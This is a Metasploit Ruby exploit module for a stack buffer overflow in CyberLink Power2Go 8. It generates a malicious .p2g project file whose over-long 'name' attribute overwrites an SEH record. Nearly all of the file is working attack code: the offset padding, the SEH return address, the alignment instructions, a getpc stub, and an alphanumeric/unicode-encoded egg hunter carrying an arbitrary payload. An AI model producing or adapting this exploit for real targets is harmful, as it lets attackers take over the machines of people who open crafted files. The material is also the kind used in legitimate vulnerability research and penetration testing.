CyberLink Power2Go Stack Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CyberLink Power2Go name Attribute (p2g) Stack Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x  
The vulnerability is triggered when opening a malformed p2g file containing an overly  
long string in the 'name' attribute of the file element. This results in overwriting a  
structured exception handler record.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'modpr0be <modpr0be[at]spentera.com>', # initial discovery  
'mr_me <steventhomasseeley[at]gmail.com>' # msf module  
],  
'References' =>  
[  
['BID', '50997'],  
['OSVDB', '77600'],  
['EDB', '18220'],  
['US-CERT-VU', '158003']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn  
[ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]  
],  
'DisclosureDate' => 'Sep 12 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])  
], self.class)  
end  
  
def get_payload(hunter)  
  
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|  
enc = framework.encoders.create(name)  
if name =~ /unicode/  
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })  
else  
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })  
end  
# NOTE: we already eliminated badchars  
hunter = enc.encode(hunter, nil, nil, platform)  
if name =~/alpha/  
#insert getpc_stub & align EDX, unicode encoder friendly.  
#Hardcoded stub is not an issue here because it gets encoded anyway  
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"  
hunter = getpc_stub + hunter  
end  
}  
  
return hunter  
end  
  
def exploit  
  
title = rand_text_alpha(10)  
buffer = ""  
buffer << rand_text_alpha(778)  
buffer << "\x58\x28" # nseh  
buffer << target['Ret'] # seh  
buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)  
buffer << "\x58\x73" # pop eax/add [ebx],dh (after byte alignment)  
buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)  
buffer << "\x40" # inc eax  
buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)  
buffer << "\x73" # add [ebx],dh (after byte alignment)  
buffer << get_payload(payload.encoded)  
  
p2g_data = <<-EOS  
<Project magic="#{title}" version="101">  
<Information />  
<Compilation>  
<DataDisc>  
<File name="#{buffer}" />  
</DataDisc>  
</Compilation>  
</Project>  
EOS  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(p2g_data)  
end  
end  
`